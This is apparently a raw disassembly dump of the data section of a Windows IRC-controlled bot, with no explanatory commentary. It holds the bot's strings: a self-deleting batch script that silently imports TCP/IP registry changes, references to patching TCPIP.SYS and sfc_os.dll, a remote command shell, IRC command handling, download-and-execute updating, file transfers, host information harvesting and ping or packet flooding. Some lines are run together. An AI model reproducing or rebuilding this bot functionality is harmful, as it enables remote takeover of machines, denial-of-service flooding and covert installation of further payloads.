		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_42D03C	db    2			; DATA XREF: sub_40AECD:loc_40AF8Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D07C	db    2			; DATA XREF: sub_40AECD:loc_40AF5Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42D0BC	db    2			; DATA XREF: sub_40AECD:loc_40AF26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 10h
unk_42D0F0	db    2			; DATA XREF: sub_40AECD+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 10h
a2:					; DATA XREF: sub_40B051+35o
					; ___:004160CAo
		unicode	0, <2>,0
aSfc_os_dll	db 'sfc_os.dll',0       ; DATA XREF: sub_40B0A0+24o
		align 10h
aTcpip_sysFixed	db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: sub_40B0E7+31Eo
		align 10h
aCanNotOpenTcpi	db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: sub_40B0E7+11Fo
aRB		db 'r+b',0              ; DATA XREF: sub_40B0E7+FFo
dword_42D188	dd 5		dword_42D18C	dd 0FCh		dword_42D190	dd 43h		dword_42D194	dd 6		dword_42D198	dd 16h		dword_42D19C	dd 4Ch							; ___:00416135o
dword_42D1A0	dd 3		dword_42D1A4	dd 0E8h		unk_42D1A8	db    2			; DATA XREF: sub_40B45B+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42D1E4	db    2			; DATA XREF: sub_40B45B+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_42D21C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B5E7+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42D258	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B5E7+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 10h
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B865+33o
dword_42D2A0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B8EC:loc_40BA1Eo
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 10h
dword_42D2E0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B8EC+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42D318	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B8EC:loc_40B9D2o
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42D358	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BA41+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
dword_42D39C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BA41+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40BA41+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40BBF6+52o
					; ___:00416167o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40BDAD+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40BDAD+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40BDAD:loc_40BF11o
		align 4
word_42D4DC	dw 3Fh			; DATA XREF: sub_40BDAD:loc_40BEAFr
					; sub_40D639+1Fo
		align 10h
dword_42D4E0	dd 3F3F3Fh	a2003		db '2003',0             ; DATA XREF: sub_40BDAD+BAo
					; ___:0042F050o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40BDAD+AAo
					; ___:0041606Eo
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40BDAD+98o
					; ___:0041605Eo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40BDAD+7Eo
					; ___:00416045o
		align 4
a98		db '98',0               ; DATA XREF: sub_40BDAD+6Co
					; ___:00416035o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40BDAD+5Ao
					; ___:00416026o
		align 10h
a95		db '95',0               ; DATA XREF: sub_40BDAD+46o
					; ___:00416018o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40C061+ABo
		align 4
off_42D544	dd offset loc_412F4E	; DATA XREF: sub_40C061:loc_40C0D5o
off_42D548	dd offset dword_4E414C	; DATA XREF: sub_40C061:loc_40C0CEo
dword_42D54C	dd 6C616944h, 70752Dhdword_42D554	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_42D564	dd 5Ch		unk_42D568	db    2			; DATA XREF: sub_40C1D5:loc_40C38Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 4
unk_42D5A8	db    2			; DATA XREF: sub_40C1D5:loc_40C387o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42D5E4	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40C1D5+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42D610	db    2			; DATA XREF: sub_40C1D5:loc_40C368o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42D65C	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40C1D5+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42D688	dd 2A2F2Ah	dword_42D68C	dd 202E6425h, 3D207325h, 732520hdword_42D698	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40C4F7+60o
		align 4
dword_42D6CC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C597+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42D6F4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C609+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42D720	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C609+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
		dd 78h
		align 8
dword_42D748	dd 80000002h, 42EE44h, 80000002h, 42EE74h, 80000001h, 42EEACh
					; DATA XREF: sub_40C738+7o
dword_42D760	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C738+63o
					; sub_40C8F3+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42D7A4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8F3+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42D7E4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8F3+47o
					; sub_40CAB4+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42D818	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+362o
					; sub_40CE56+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42D840	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42D890	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42D8C4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42D8EC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40CAB4+16Ao
		dd 169h
dword_42D904	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42D934	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42D968	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42D99C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CE56+1CFo
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42D9F0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CE56+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42DA20	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CE56+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40CE56+97o
dword_42DA60	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CE56+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42DAA0	db    2			; DATA XREF: sub_40D091+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42DADC	db    2			; DATA XREF: sub_40D091+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42DB24	db    2			; DATA XREF: sub_40D091+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42DB74	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40D091+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40D091+336o
					; sub_40F6F1+2C49o ...
		align 4
unk_42DBA8	db    2			; DATA XREF: sub_40D091+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42DBF0	db    2			; DATA XREF: sub_40D091+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42DC28	db    2			; DATA XREF: sub_40D091+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42DC6C	db    2			; DATA XREF: sub_40D091+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42DCAC	db    2			; DATA XREF: sub_40D091+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42DCF4	db    2			; DATA XREF: sub_40D091+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D639:loc_40D67Co
					; sub_40E4EB+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D639:loc_40D676o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D639:loc_40D670o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D639:loc_40D66Ao
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D639:loc_40D664o
		align 4
off_42DD54	dd offset word_4D4152	; DATA XREF: sub_40D639:loc_40D65Eo
aFailed		db 'failed',0           ; DATA XREF: sub_40D6CA:loc_40D7A2o
					; sub_40D7E5+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D6CA+6Bo
		align 4
unk_42DD68	db    2			; DATA XREF: sub_40D7E5+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42DDB4	db    2			; DATA XREF: sub_40D7E5+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
off_42DE00	dd offset byte_5C3A41	; DATA XREF: sub_40D8B7:loc_40D8FCo
dword_42DE04	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42DE50	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_42DE6C:				; DATA XREF: sub_40DA5C+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42DE80	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40DA5C+13Fo
dword_42DE94	dd 25207325h, 253A2073h, 0A0D73haPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40DC10+16o
					; sub_40F6F1+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40DC10+Fo
					; sub_40F6F1+62Fo
		align 10h
off_42DEB0	dd offset aAdd		; DATA XREF: sub_40DCAB+6Dr
					; sub_40E08F+50r ...
					; "Add"
off_42DEB4	dd offset aAdded	; DATA XREF: sub_40DCAB+2Dr
					; sub_40E08F+82r ...
					; "Added"
dword_42DEB8	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42DF24h, 42DF1Ch,	2, 42DF10h, 42DF04h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042DEE4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042DEE0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042DED8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042DED4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042DECCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042DEC8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042DEC0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042DEBCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42DEB4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42DEB0o
unk_42DF78	db    2			; DATA XREF: sub_40DCAB+74o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoServiceSpec	db ' %s: No service specified.',0
		align 10h
unk_42DFB0	db    2			; DATA XREF: sub_40DCAB+55o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorWithServi	db ' Error with service: ',27h,'%s',27h,'. %s',0
		align 4
unk_42DFEC	db    2			; DATA XREF: sub_40DCAB+38o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSServiceS_	db ' %s service: ',27h,'%s',27h,'.',0
		align 4
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40DDD4+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40DDD4:loc_40DEECo
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40DDD4:loc_40DEE5o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40DDD4:loc_40DEDEo
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40DDD4:loc_40DED7o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40DDD4:loc_40DED0o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40DDD4:loc_40DEC9o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40DDD4:loc_40DEC2o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40DDD4:loc_40DEBBo
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40DDD4:loc_40DEB4o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40DDD4:loc_40DEADo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40DDD4:loc_40DE82o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40DDD4:loc_40DE7Bo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40DDD4:loc_40DE74o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40DDD4:loc_40DE6Do
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40DDD4+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40DDD4:loc_40DE42o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40DDD4:loc_40DE38o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40DDD4:loc_40DE2Eo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40DDD4:loc_40DE24o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40DDD4:loc_40DE1Ao
		align 10h
